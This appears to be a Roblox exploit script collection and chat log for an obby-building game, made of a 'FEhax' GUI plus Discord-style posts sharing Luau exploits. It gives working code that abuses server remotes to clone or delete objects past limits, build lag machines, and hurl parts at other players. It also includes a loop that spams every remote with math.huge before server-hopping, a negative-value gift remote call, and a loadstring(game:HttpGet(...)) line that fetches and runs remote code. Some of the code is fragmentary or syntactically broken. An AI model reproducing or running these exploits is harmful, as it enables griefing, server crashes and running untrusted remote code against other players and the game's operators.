line.BorderColor3 = Color3.fromRGB(0, 0, 0)
line.BorderSizePixel = 0
line.Position = UDim2.new(0.0427135676, 0, 1, 0)
line.Size = UDim2.new(0, 107, 0, -2)

CloseOpen.Name = "CloseOpen"
CloseOpen.Parent = DragUi
CloseOpen.BackgroundColor3 = Color3.fromRGB(67, 66, 67)
CloseOpen.BorderColor3 = Color3.fromRGB(0, 0, 0)
CloseOpen.BorderSizePixel = 0
CloseOpen.Position = UDim2.new(0.99999994, 0, 0, 0)
CloseOpen.Size = UDim2.new(0, -30, 0, 21)
CloseOpen.Font = Enum.Font.SourceSans
CloseOpen.Text = "_"
CloseOpen.TextColor3 = Color3.fromRGB(255, 255, 255)
CloseOpen.TextSize = 14.000

-- Scripts:

local function QYXTUP_fake_script() -- TextButton.LocalScript


local script = Instance.new('LocalScript', TextButton)

local plr = game.Players.LocalPlayer.Name

local function DummyToPart()


-- fix
local plr = game.Players.LocalPlayer.Name
local e = {}
for i,v in pairs(workspace.Obbies[plr].Items.Special:GetDescendants())
do
if v:IsA("Part") and v.Name == "Torso" then
table.insert(e, v:FindFirstChildWhichIsA("Attachment"))
end
end

game:GetService("ReplicatedStorage").Events.DeleteObject:InvokeServer(e)
end

local button = script.Parent


button.MouseButton1Click:Connect(DummyToPart)
end
coroutine.wrap(QYXTUP_fake_script)()
local function BUWOLHA_fake_script() -- TextButton_2.LocalScript
local script = Instance.new('LocalScript', TextButton_2)

local text = script.Parent.Parent.Parent.SettingsFrame.TextBox


local plr = game.Players.LocalPlayer.Name

local function CreateDummy()


if text.Text == "" then
local m = {}
for i = 1, 200 do
local t = {}
table.insert(m, t)
table.insert(t,
workspace.Obbies[plr].Items.Special:FindFirstChildWhichIsA("Model").Head)
table.insert(t,
workspace.Obbies[plr].Area.Area.CFrame);table.insert(t,
workspace.Obbies[plr].Area.Area.Size)
if #m >= 200 then
game.ReplicatedStorage.Events.CloneObject:InvokeServer(m)
end
end
elseif text.Text ~= "" then
local m = {}
for i = 1, tonumber(text.Text) do
local t = {}
table.insert(m, t)
table.insert(t,
workspace.Obbies[plr].Items.Special:FindFirstChildWhichIsA("Model").Head)
table.insert(t,
workspace.Obbies[plr].Area.Area.CFrame);table.insert(t,
workspace.Obbies[plr].Area.Area.Size)
if #m >= tonumber(text.Text) then

game.ReplicatedStorage.Events.CloneObject:InvokeServer(m)
end
end
end
end
local button = script.Parent
button.MouseButton1Click:Connect(CreateDummy)
end
coroutine.wrap(BUWOLHA_fake_script)()
local function UBFJK_fake_script() -- TextButton_3.LocalScript
local script = Instance.new('LocalScript', TextButton_3)

local function TPPART()


local plr = game.Players.LocalPlayer.Name
local SpecialFolder =
workspace.Obbies[plr].Items.Special:GetDescendants()
local distance =
script.Parent.Parent.Parent.SettingsFrame.TextBox3.Text
for i = 1,10 do
for i,c in pairs(SpecialFolder) do
if c:IsA("Part") then
if c.Anchored == false then
c.Position =
game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0,i *
tonumber(distance),0)
elseif distance.Text == "" then
c.Position =
game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0,i * 0.2,0)
end
end
end
end
end

local button = script.Parent


button.MouseButton1Click:Connect(TPPART)
end
coroutine.wrap(UBFJK_fake_script)()
local function ZWQSX_fake_script() -- TextButton_4.LocalScript
local script = Instance.new('LocalScript', TextButton_4)

local number = script.Parent.Parent.Parent.SettingsFrame.TextBox.Text

local function unanchored()


local
tab={};plr=game.Players.LocalPlayer.Name;ob=workspace.Obbies[plr].Items.Special:Get
Children()
for _,v in pairs(ob) do
if v:IsA("Model") and #tab <= 500 then
table.insert(tab, v.RootPart.RootAttachment)
end
end
game.ReplicatedStorage.Events.DeleteObject:InvokeServer(tab)
end
local button = script.Parent
button.MouseButton1Click:Connect(unanchored)
end
coroutine.wrap(ZWQSX_fake_script)()
local function WSBRG_fake_script() -- TextButton_5.LocalScript
local script = Instance.new('LocalScript', TextButton_5)

local function FindPlayer()


local textbox = script.Parent.Parent.TextBox
local distance = 0.2
for i,v in pairs(game.Players:GetPlayers()) do
if string.find(v.Name, textbox.Text) then
local plr = game.Players.LocalPlayer.Name
local SpecialFolder =
workspace.Obbies[plr].Items.Special:GetDescendants()
for i,c in pairs(SpecialFolder) do
if c:IsA("Part") then
if c.Anchored == false then
c.CFrame =
game.Players[v.Name].Character.Head.CFrame * CFrame.new(0,10,0)
end
end
end
elseif string.find(textbox.Text, "me") or
string.find(textbox.Text, "Me") or string.find(textbox.Text, "ME")then
local plr = game.Players.LocalPlayer.Name
local SpecialFolder =
workspace.Obbies[plr].Items.Special:GetDescendants()
for i,c in pairs(SpecialFolder) do
if c:IsA("Part") then
if c.Anchored == false then
c.CFrame =
game.Players.LocalPlayer.Character.Head.CFrame * CFrame.new(0,10,0)
end
end
end
elseif string.find(textbox.Text, "all") or
string.find(textbox.Text, "All") or string.find(textbox.Text, "ALL") then
local plr = game.Players.LocalPlayer.Name
local players = game.Players:GetPlayers()

for i,v in
pairs(workspace.Obbies[plr].Items.Special:GetDescendants()) do
if v:IsA("Part") and v.Anchored == false then
local player = players[math.random(1,
#players)]
for i = 1,10 do
local position =
player.Character.Head.Position + Vector3.new(0,i * 5,0)
v.CFrame = CFrame.new(position)
end
end
end
end
end
end

local button = script.Parent


button.MouseButton1Click:Connect(FindPlayer)

end
coroutine.wrap(WSBRG_fake_script)()
local function UFHSOMN_fake_script() -- TextButton_6.LocalScript
local script = Instance.new('LocalScript', TextButton_6)

local textbox = script.Parent.Parent.TextBox

local function WalkToPoint()


for i,v in pairs(game.Players:GetPlayers()) do
if string.find(v.Name, textbox.Text) then
local plr = game.Players.LocalPlayer.Name
local SpecialFolder =
workspace.Obbies[plr].Items.Special:GetChildren()
for i,c in pairs(SpecialFolder) do
c.Humanoid.WalkToPoint =
game.Players[v.Name].Character.Head.Position
end
elseif string.find("me", textbox.Text) or string.find("Me",
textbox.Text) or string.find("ME", textbox.Text) then
local plr = game.Players.LocalPlayer.Name
local SpecialFolder =
workspace.Obbies[plr].Items.Special:GetChildren()
for i,c in pairs(SpecialFolder) do
c.Humanoid.WalkToPoint =
game.Players.LocalPlayer.Character.Head.Position
end
end
end
end

local button = script.Parent


button.MouseButton1Click:Connect(WalkToPoint)

end
coroutine.wrap(UFHSOMN_fake_script)()
local function KHJJXU_fake_script() -- TextButton_7.LocalScript
local script = Instance.new('LocalScript', TextButton_7)

local textbox = nil

local function Thrown()


local plr = game.Players.LocalPlayer
local ob = workspace.Obbies[plr.Name].Items.Special.Mannequin.Torso

local alignpos = Instance.new("AlignPosition", ob)


local alignrot = Instance.new("AlignOrientation", ob)
local att0 = Instance.new("Attachment", ob)
local att1 = Instance.new("Attachment", plr.Character.HumanoidRootPart)

local throw = Instance.new("TextButton", game.CoreGui.RobloxGui)


local edit = Instance.new("TextButton", game.CoreGui.RobloxGui)

alignpos.Attachment0 = att0
alignpos.Attachment1 = att1
alignpos.MaxForce = math.huge
alignpos.MaxVelocity = math.huge
alignpos.MaxAxesForce = Vector3.new(math.huge, math.huge, math.huge)
alignpos.Responsiveness = 10

alignrot.Attachment0 = att0
alignrot.Attachment1 = att1
alignrot.MaxAngularVelocity = math.huge
alignrot.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
alignrot.Responsiveness = 10

att1.CFrame = CFrame.new(0, 3, -5)

throw.Size = UDim2.new(0.1, 0, 0.1, 0)


throw.Name = "Thrown Dummy"
edit.Name = "Grab Dummy"
edit.Size = throw.Size
edit.Position = UDim2.new(0.1, 0, 0, 0)

local editing = false


edit.Activated:Connect(function()
editing = not editing
end)

local function ThrowHim(obj, val, UpVect, BVMaxForce)


local BV = Instance.new("BodyVelocity", obj or ob)
local val0 = val or 100
local UpVect0 = UpVect or Vector3.new(0, 50, 0)

BV.MaxForce = BVMaxForce or Vector3.new(100000, 100000, 100000)


BV.Velocity = plr.Character.HumanoidRootPart.CFrame.LookVector *
val0 + UpVect0

game:GetService("Debris"):AddItem(BV, 0.5)
end

throw.Activated:Connect(function()
ThrowHim()
end)

while task.wait(0.5) do
local m = ob.Parent:GetChildren()
for _, v in pairs(m) do
if v:IsA("Part") or v:IsA("MeshPart") then
local cc = v.CanCollide
local tr = v.Transparency
if editing and cc and tr <= 0.499 then
alignpos.Enabled = true
alignrot.Enabled = true
v.Transparency = 0.5
v.CanCollide = false
elseif not editing and not cc and tr >= 0.5 then
alignpos.Enabled = false
alignrot.Enabled = false
v.Transparency = 0
v.CanCollide = true
end
end
end
end
end

local button = script.Parent


button.MouseButton1Click:Connect(Thrown)

end
coroutine.wrap(KHJJXU_fake_script)()
local function EEDI_fake_script() -- TextButton_8.LocalScript
local script = Instance.new('LocalScript', TextButton_8)

local function Protect()


local p = Instance.new("Part",workspace)
p.Anchored = true
p.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame *
CFrame.new(0,-9,0)
p.Size = Vector3.new(500000000000000,1,500000000000000)
end
local button = script.Parent
button.MouseButton1Click:Connect(Protect)
end
coroutine.wrap(EEDI_fake_script)()
local function UVASQ_fake_script() -- TextButton_9.LocalScript
local script = Instance.new('LocalScript', TextButton_9)

local text = script.Parent.Parent.Parent.SettingsFrame.TextBox3

local function Lobby()


local plr = game.Players.LocalPlayer.Name
for i,v in pairs(workspace.Obbies[plr].Items.Special:GetDescendants())
do
if v:IsA("Part") and v.Anchored == false then
v.CFrame = CFrame.new(0,0,0) * CFrame.new(math.random(-
1563,1317),math.random(1,100),math.random(-
tonumber(text.Text),tonumber(text.Text)))
end
end
end

local button = script.Parent


button.MouseButton1Click:Connect(Lobby)
end
coroutine.wrap(UVASQ_fake_script)()
local function NPEMO_fake_script() -- TextButton_10.LocalScript
local script = Instance.new('LocalScript', TextButton_10)

local number = script.Parent.Parent.TextBox3

local function ReduceLag()


local plr = game.Players.LocalPlayer.Name
local SpecialFolder = workspace.Obbies[plr].Items.Special

for i,c in pairs(SpecialFolder:GetDescendants()) do


if c:IsA("Part") then
if c.Anchored == false then
c.Transparency = tonumber(number.Text)
end
end
end
end
b = script.Parent
b.MouseButton1Click:Connect(ReduceLag)
end
coroutine.wrap(NPEMO_fake_script)()
local function KGGS_fake_script() -- TextButton_11.LocalScript
local script = Instance.new('LocalScript', TextButton_11)

local function Delete()


script.Parent.Parent.Parent.Parent.Parent.Parent.HAX:Destroy()
end
b = script.Parent
b.MouseButton1Click:Connect(Delete)
end
coroutine.wrap(KGGS_fake_script)()
local function JEBR_fake_script() -- TextButton_12.LocalScript
local script = Instance.new('LocalScript', TextButton_12)

local function SetSpeed()


local plr = game.Players.LocalPlayer.Name
local SpecialFolder = workspace.Obbies[plr].Items.Special

for i,c in pairs(SpecialFolder:GetDescendants()) do


if c:IsA("Humanoid") then
c.WalkSpeed = tonumber(script.Parent.Parent.TextBox4.Text)
end
end
end
b = script.Parent
b.MouseButton1Click:Connect(SetSpeed)
end
coroutine.wrap(JEBR_fake_script)()
local function BZYURJE_fake_script() -- SETTINGS.LocalScript
local script = Instance.new('LocalScript', SETTINGS)

local TweenService = game:GetService("TweenService")


local a = script.Parent.Parent.line

local function Show()

for i,v in pairs(script.Parent.Parent.Parent.FEhaxText:GetChildren())


do
if v:IsA("Frame") then
if v.Name ~= "line" then
v.Visible = false
v.Parent.SettingsFrame.Visible = true

-- a.AnchorPoint = Vector2.new(-2, -5)


local targetPosition = script.Parent.Position +
UDim2.new(0,0,0.4,0)

local tweenInfo = TweenInfo.new(0.5)


local tween = TweenService:Create(a, tweenInfo,
{Position = targetPosition})

tween:Play()

end
end
end
-- script.Parent.Parent.FEhaxText.SettingsFrame.Visible = true
end

b = script.Parent
b.MouseButton1Click:Connect(Show)
end
coroutine.wrap(BZYURJE_fake_script)()
local function PYIRHN_fake_script() -- Commands.LocalScript
local script = Instance.new('LocalScript', Commands)

local TweenService = game:GetService("TweenService")


local a = script.Parent.Parent.line

local function Show()


for i,v in pairs(script.Parent.Parent.Parent.FEhaxText:GetChildren())
do
if v:IsA("Frame") then
if v.Name ~= "line" then
v.Visible = false
v.Parent.mainscript.Visible = true

local targetPosition = script.Parent.Position +


UDim2.new(0,0,0.4,0)

local tweenInfo = TweenInfo.new(0.5)


local tween = TweenService:Create(a, tweenInfo,
{Position = targetPosition})

tween:Play()
end
end
end
-- script.Parent.Parent.FEhaxText.mainscript.Visible = true
end

b = script.Parent
b.MouseButton1Click:Connect(Show)
end
coroutine.wrap(PYIRHN_fake_script)()
local function WWDQ_fake_script() -- CREDITS.LocalScript
local script = Instance.new('LocalScript', CREDITS)

local TweenService = game:GetService("TweenService")


local a = script.Parent.Parent.line

local function Show()


for i,v in pairs(script.Parent.Parent.Parent.FEhaxText:GetChildren())
do
if v:IsA("Frame") then
if v.Name ~= "line" then
v.Visible = false
v.Parent.CreditFrame.Visible = true

local targetPosition = script.Parent.Position +


UDim2.new(0,0,0.4,0)

local tweenInfo = TweenInfo.new(0.5)


local tween = TweenService:Create(a, tweenInfo,
{Position = targetPosition})

tween:Play()
end
end
end
-- script.Parent.Parent.FEhaxText.CreditFrame.Visible = true
end

b = script.Parent
b.MouseButton1Click:Connect(Show)
end
coroutine.wrap(WWDQ_fake_script)()
local function NACF_fake_script() -- DragUi.LocalScript
local script = Instance.new('LocalScript', DragUi)
local UserInputService = game:GetService("UserInputService")

local gui = script.Parent

local dragging
local dragInput
local dragStart
local startPos

local function update(input)


local delta = input.Position - dragStart
gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end

gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position

input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)

gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)

UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end
coroutine.wrap(NACF_fake_script)()
local function GXHWE_fake_script() -- CloseOpen.LocalScript
local script = Instance.new('LocalScript', CloseOpen)

local function d()


local a = script.Parent.Parent.FEhaxText
a.Visible = not a.Visible
end

local b = script.Parent
b.MouseButton1Click:Connect(d)

end
coroutine.wrap(GXHWE_fake_script)()

local httprequest = (syn and syn.request) or (http and http.request) or


http_request or (fluxus and fluxus.request) or request
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local JobId = game.JobId
local PlaceId = game.PlaceId
local Players = game:GetService("Players")
local settings = 4

for i = 1, 5 do
-- Start
for p, v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
local success, err = pcall(function()
if v:IsA("RemoteFunction") then
v:InvokeServer(math.huge)
elseif v:IsA("RemoteEvent") then
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") and v ~=
Players.LocalPlayer.PlayerGui.Intro.LocalScript:FindFirstChild("DoTutorial") then
v:Fire(game.Players.LocalPlayer, math.huge)
end
end)
if not success then
warn("Error in coroutine: " .. err)
end
end)()
end

wait(settings)

if httprequest then
local servers = {}
local success, req = pcall(function()
return httprequest({Url =
string.format("https://games.roblox.com/v1/games/%d/servers/Public?
sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
end)

if success and req then


local body = HttpService:JSONDecode(req.Body)

if body and body.data then


for _, a in pairs(body.data) do
if type(a) == "table" and tonumber(a.playing) and
tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
table.insert(servers, a.id)
end
end
end
else
warn("HTTP Request failed: " .. (req or "No response"))
end

if #servers > 0 then


local success, err = pcall(function()
TeleportService:TeleportToPlaceInstance(PlaceId,
servers[math.random(1, #servers)], Players.LocalPlayer)
end)
if not success then
warn("Teleport failed: " .. err)
end
else
warn("No servers available for teleportation.")
end
end
-- End
end

just put effect under object children and then reload obby or premade the object
does NOT work if the children name is "Buttons" (will return an error because tried
to get Value from effect)
script under here
(under where?)
haha i made you say underwear!!
d i e .

loadstring(game:HttpGet("https://raw.githubusercontent.com/TNTtp/myscripts/main/
Ockill.lua"))()

local plr = game.Players.LocalPlayer.Name


local ob = workspace.Obbies[plr].Items.Parts
--local typee = "Part"
local DelTable = {}

for _, v in pairs(ob:GetChildren()) do
if #DelTable <= 320 then
local cloned = {}
table.insert(DelTable, cloned)
table.insert(cloned, v)
table.insert(cloned, ob.Parent.Parent.Area.Area.CFrame)
table.insert(cloned, Vector3.new(180, 200, 500))
end
end
local del = {}
table.insert(DelTable, del)
table.insert(del, ob.Parent.Special.Mannequin.Torso.BodyBackAttachment)
table.insert(del, ob.Parent.Special.Mannequin.Mannequin.CFrame)
table.insert(del, ob.Parent.Special.Mannequin.Mannequin.Size)

game.ReplicatedStorage.Events.CloneObject:InvokeServer(DelTable)
--[[

--[[put 1000 parts and one mannequin


replace 1000 parts to random positions 20 times
run this a few times]]--
--

just copy this and get ~40 buttons ok (buttons count depends on "number" variable
value, for 1000, you need ~40 buttons, for 500, you need 80 buttons)
local number = 1000 -- of ur maxpart (max 1000)
for i = 1,40 do -- how many button
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Special
local typee = "Character Model"
local DelTable = {}

for i = 1, number do
local clone = {}
table.insert(DelTable, clone)
table.insert(clone, ob[typee]:FindFirstChild("Head"):GetChildren()[1])
table.insert(clone, CFrame.new(0, 0, 0) * CFrame.new(math.random(-1370, 1370),
math.random(1, 10000), math.random(-50, 50))
table.insert(clone, Vector3.new(0/0, 0/0, 0/0))
end

game.ReplicatedStorage.Events.CloneObject:InvokeServer(DelTable)

local plr = game.Players.LocalPlayer.Name


local ob = workspace.Obbies[plr].Items.Buttons
local typee = "Button"
local DelTable = {}

for i = 1, 1000 do
table.insert(DelTable, ob[typee])
end

game.ReplicatedStorage.Events.DeleteObject:InvokeServer(DelTable)
end
--

this makes ur obby stay in the server when u leave


step: add button, add efefct (recomendd outlien) boom done
does not work if its not ur obbeh bye
script in reply hahahayayayayayyayaya
Water2
OP
— 23/09/2024 00:17
game.ReplicatedStorage.Events.EffectObject:InvokeServer({workspace.Obbies[game.Play
ers.LocalPlayer.Name].Items.Buttons:WaitForChild("Button").Activateds}, "outline",
"Default")
water_hax — 23/09/2024 00:25

local typee = "Part"


local count = 1000

local plr = game.Players.LocalPlayer


local Obbys = workspace.Obbies
local myObby = Obbys:FindFirstChild(plr.Name)
local myArea = myObby:FindFirstChild("Area").Area

local spawnX = math.random(myArea.Position.X - (myArea.Size.X / 2 - 10),


myArea.Position.X + (myArea.Size.X / 2 - 10))
local spawnY = math.random(myArea.Position.Y - (myArea.Size.Y / 2 - 10),
myArea.Position.Y + (myArea.Size.Y / 2 - 10))
local spawnZ = math.random(myArea.Position.Z - (myArea.Size.Z / 2 - 10),
myArea.Position.Z + (myArea.Size.Z / 2 - 10))
local args = {
[1] = typee,
[2] = CFrame.new(spawnX, spawnY, spawnZ)
}
local partmade =
game:GetService("ReplicatedStorage").Events.AddObject:InvokeServer(unpack(args))
local part = myObby.Items.Parts:GetChildren()[1]
args = {}
for i = 1, count - 1 do
local spawnX = math.random(myArea.Position.X - (myArea.Size.X / 2 - 10),
myArea.Position.X + (myArea.Size.X / 2 - 10))
local spawnY = math.random(myArea.Position.Y - (myArea.Size.Y / 2 - 10),
myArea.Position.Y + (myArea.Size.Y / 2 - 10))
local spawnZ = math.random(myArea.Position.Z - (myArea.Size.Z / 2 - 10),
myArea.Position.Z + (myArea.Size.Z / 2 - 10))

table.insert(args, {
[1] = part,
[2] = CFrame.new(spawnX, spawnY, spawnZ),
[3] = Vector3.new(1, 1, 1)
})
end
local cloneMade = nil
repeat
cloneMade =
game:GetService("ReplicatedStorage").Events.CloneObject:InvokeServer(args)
until cloneMade

blah blah blah the script in the replies


basically u get part with green color (RGB(0, 255, 0))
then u color all the parts u wanna move to red (RGB(255, 0, 0))
then run da scripr
it can move ANY part (i mean literally any part/meshpart/trusspart(trusspart is
kinda broken), NOT MODELS)
theres also a "cf" variable (its where u move the red parts to)
ok gl bye
Water2
OP
— 31/08/2024 17:34
any normal part:

local plr = game.Players.LocalPlayer.Name


local ob = workspace.Obbies[plr].Items.Parts
local main = nil
local tab = {}
local cf = CFrame.new(0, 0, 0)
for , v in pairs(ob.Parent.Parts:GetChildren()) do
if v.Color == Color3.new(0, 1, 0) then
main = v
end
end
for , v in pairs(ob:GetChildren()) do
if v:IsA("Part") or v:IsA("MeshPart") or v:IsA("TrussPart") then
if v.Color == Color3.new(1, 0, 0) then
local new = {}
table.insert(tab, new)
table.insert(new, v)
table.insert(new, ((main.CFrame - main.Position) * cf) * ((v.CFrame -
v.Position) + (v.Position - main.Position)))
table.insert(new, Vector3.new(-1, 1, "inf"))
end
end
end
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("MoveObjec
t"):InvokeServer(tab)
MOVING PARTS:
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items["Moving Parts"]
local main = nil
local tab = {}
local cf = CFrame.new(0, 0, 0)
for , v in pairs(ob.Parent.Parts:GetChildren()) do
if v.Color == Color3.new(0, 1, 0) then
main = v
end
end
for , v in pairs(ob:GetChildren()) do
if v:IsA("Part") then
if v.Color == Color3.new(1, 0, 0) then
local new = {}
table.insert(tab, new)
table.insert(new, v)
table.insert(new, ((main.CFrame - main.Position) * cf) * ((v.CFrame -
v.Position) + (v.Position - main.Position)))
table.insert(new, Vector3.new(-1, 1, "inf"))
local new0 = {}
table.insert(new, new0)
table.insert(new0, main.Position - v.m1.Value)
table.insert(new0, main.Position - v.m2.Value)
end
end
end
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("MoveObjec
t"):InvokeServer(tab)
SPIN PARTS:

local plr = game.Players.LocalPlayer.Name


local ob = workspace.Obbies[plr].Items["Spin Parts"]
local main = nil
local tab = {}
local cf = CFrame.new(0, 0, 0)
for , v in pairs(ob.Parent.Parts:GetChildren()) do
if v.Color == Color3.new(0, 1, 0) then
main = v
end
end
for , v in pairs(ob:GetChildren()) do
if v:IsA("Part") then
if v.Color == Color3.new(1, 0, 0) then
local new = {}
table.insert(tab, new)
table.insert(new, v)
table.insert(new, ((main.CFrame - main.Position) * cf) *
(v.OrigRotation.Value + (v:GetAttribute("OrigPosition") - main.Position)))
table.insert(new, Vector3.new(-1, 1, "inf"))
end
end
end
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("MoveObjec
t"):InvokeServer(tab)

for i,v in pairs(workspace:GetDescendants()) do


if v:IsA("BoolValue") or v:IsA("Value") or v:IsA("CFrameValue") or v:IsA("Folder")
or v:IsA("StringValue") or v:IsA("Color3Value") or v:IsA("SelectionBox") or
v:IsA("IntValue") or v:IsA("ObjectValue") or v:IsA("NumberValue") then
local args = {
[1] = {
[1] = v
},
[2] = false
}

game:GetService("ReplicatedStorage").Events.SetEditing:FireServer(unpack(args))
local args = {
[1] = "Add",
[2] = {
[1] = v
}
}

game:GetService("ReplicatedStorage").Events.ChangeCurrentSelection:FireServer(unpac
k(args))
end;end

-- Decompiled with Konstant V2.1 I4, a fast Luau decompiler made in Luau by
plusgiant5
-- Decompiled on 2024-09-15 11:27:27
-- Luau version 6, types version 3
-- Time taken: 0.001001 seconds

local module_upvr = {
Round = function(arg1, arg2, arg3, arg4) -- Line 6, Named "Round"
local absolute = math.abs(arg2)
if tostring(absolute) == "nan" or absolute == math.huge or absolute ==
tonumber("nan") then
return math.huge
end
local var3 = arg3 / 2
return tonumber(string.format("%."..tostring(arg4 or 2)..'f', arg2 + var3 -
(arg2 + var3) % arg3))
end;
}
function module_upvr.RoundPosition(arg1, arg2, arg3, arg4) -- Line 18
--[[ Upvalues[1]:
[1]: module_upvr (readonly)
]]
return Vector3.new(module_upvr:Round(arg2.X, arg3, arg4),
module_upvr:Round(arg2.Y, arg3, arg4), module_upvr:Round(arg2.Z, arg3, arg4))
end
function module_upvr.RoundRad(arg1, arg2, arg3) -- Line 26
--[[ Upvalues[1]:
[1]: module_upvr (readonly)
]]
return math.rad(module_upvr:Round(math.deg(arg2), arg3))
end
function module_upvr.RoundCFrame(arg1, arg2, arg3, arg4) -- Line 30
--[[ Upvalues[1]:
[1]: module_upvr (readonly)
]]
return arg2 - arg2.Position + module_upvr:RoundPosition(arg2.Position, arg3,
arg4)
end
return module_upvr

THE METHOD THAT PARENTS PARTS FOLDER TO A MANNEQUIN


1) ADD MANNEQUJN AND PUT THIS ID "17847664723"
2) JSE DELETE SCRIPT TO DEKETE THE HANDLE
SCRIPT: local plr = game.Players.LocalPlayer.Name
game.ReplicatedStorage.Events.DeleteObject:InvokeServer({workspace.Obbies[plr].Item
s.Special.Mannequin1.SashBlack.Handle.Mesh})
3) UNDO
4) PUT THE ID IN THE MANNEQUJN TO SMTH RANDOM
5) PUT THE ID BACK TO "17847664723"
doje

exploit that can give you secret parts from a charactr model/mannequin
lazy cuz someone deleted my original messagee😍😍
heres the scriot ok bai

local typee = "Character Model"


local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Special:WaitForChild(typee)
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("DeleteObj
ect"):InvokeServer({
[1] = ob.RootPart.RootAttachment,
[2] = ob.Head.Face,
[3] = ob:WaitForChild("Left Arm").LeftGripAttachment,
[4] = ob:WaitForChild("Left Leg").LeftFootAttachment,
[5] = ob:WaitForChild("Right Arm").RightGripAttachment,
[6] = ob:WaitForChild("Right Leg").RightFootAttachment,
[7] = ob.Torso.Neck,
[8] = ob[typee].Script
})

local m = {};for i = 1, 200 do local t = {};table.insert(m, t);table.insert(t,


workspace.Obbies.NotA_water2.Items.Special.Mannequin.Head);table.insert(t,
workspace.Obbies.NotA_water2.Area.Area.CFrame);table.insert(t,
workspace.Obbies.NotA_water2.Area.Size);if #m >= 200 then
game.ReplicatedStorage.Events.CloneObject:InvokeServer(m) end end
water_hax — 23/07/2024 16:48
W
Water2
OP
— 24/07/2024 04:27
local m = {}
for i = 1, 200 do
local t = {}
table.insert(m, t)
table.insert(t, workspace.Obbies.NotA_water2.Items.Special.Mannequin.Head)
table.insert(t, workspace.Obbies.NotA_water2.Area.Area.CFrame);table.insert(t,
workspace.Obbies.NotA_water2.Area.Size)
if #m >= 200 then
game.ReplicatedStorage.Events.CloneObject:InvokeServer(m)
end
end

for i = 1,5 do
-- start
for i,v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
if v:IsA("RemoteFunction") then
warn("game." ..v:GetFullName())
print(v:InvokeServer(math.huge))
elseif v:IsA("RemoteEvent") then
warn("game." ..v:GetFullName())
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") then
warn("game." ..v:GetFullName())
v:Fire(game.Players.LocalPlayer,math.huge)
end
end)()
end
-- end
end

for i = 1,5 do
for i,v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
if v:IsA("RemoteFunction") then
warn("game." ..v:GetFullName())
print(v:InvokeServer(math.huge))
elseif v:IsA("RemoteEvent") or v:IsA("UnreliableRemoteEvent") then
warn("game." ..v:GetFullName())
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") then
warn("game." ..v:GetFullName())
v:Fire(game.Players.LocalPlayer,math.huge)
elseif v:IsA("BindableFunction") then
warn"game." ..v:GetFullName())
v:Invoke(game.Players.LocalPlayer,math.huge)
end
end)()
end

for i,v in pairs(game:GetService("ReplicatedStorage"):GetDescendants()) do


for i,vv in pairs(game.Players:GetPlayers()) do
if string.find(v.Name, "Gift") and v:IsA("RemoteFunction") then
print(v:InvokeServer(vv.UserId, -2e60))
end
end
end
wait(2)
for i = 1,5 do
-- start
for i,v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
if v:IsA("RemoteFunction") then
warn("game." ..v:GetFullName())
print(v:InvokeServer(math.huge))
elseif v:IsA("RemoteEvent") then
warn("game." ..v:GetFullName())
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") then
warn("game." ..v:GetFullName())
v:Fire(game.Players.LocalPlayer,math.huge,"hello report")
end
end)()
end
-- end
end

step 1: place a part or any other type near an end


step 2: set size to 0,0,0 (maybe) then rtatin inf,inf,inf
step 3: open plugin section, undo, pen reflect, redo.
step 4: reflect it a bit more close to the end
step 5: reflect it
done
this may be server sided to

Water2
OP
— 04/07/2024 20:34
so i might be wrong but you can get free part limit by deleting the same part in
one script
all you have to do is put the same part in a table and put it in DeleteObject
remote
for example: this script
(game.ReplicatedStorage.Events.DeleteObject:InvokeServer({workspace.Obbies.obbycere
allol.Items.Special["Character Model"].Head,
workspace.Obbies.obbycereallol.Items.Special["Character Model"].Head,
workspace.Obbies.obbycereallol.Items.Special["Character Model"].Head,
workspace.Obbies.obbycereallol.Items.Special["Character Model"].Head})) deletes the
same character model in my obby 3 times, which gives me 15 more parts instead of
normal 5
Water2
OP
— 04/07/2024 20:36
dangerous cuz can make lag machines
Water2
OP
— 04/07/2024 20:49
Heres the script that deletes 1000 character models in your obey
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Special
local typee = "Character Model"
local DelTable = {}

for i = 1, 1000 do
table.insert(DelTable, ob[typee][typee])
end

game.ReplicatedStorage.Events.DeleteObject:InvokeServer(DelTable)
@kw_roblox😄FREE PART LIMIT SCRIPT WORKS 😄
Water2
OP
— 04/07/2024 21:08
THJS IS SO OP
:GetChildren() — 04/07/2024 21:19
it givs yu free part limity?
Water2
OP
— 04/07/2024 21:34
YES
:GetChildren() — 04/07/2024 21:52
i should prob make a cmd called coolness
:GetChildren() — 05/07/2024 02:22
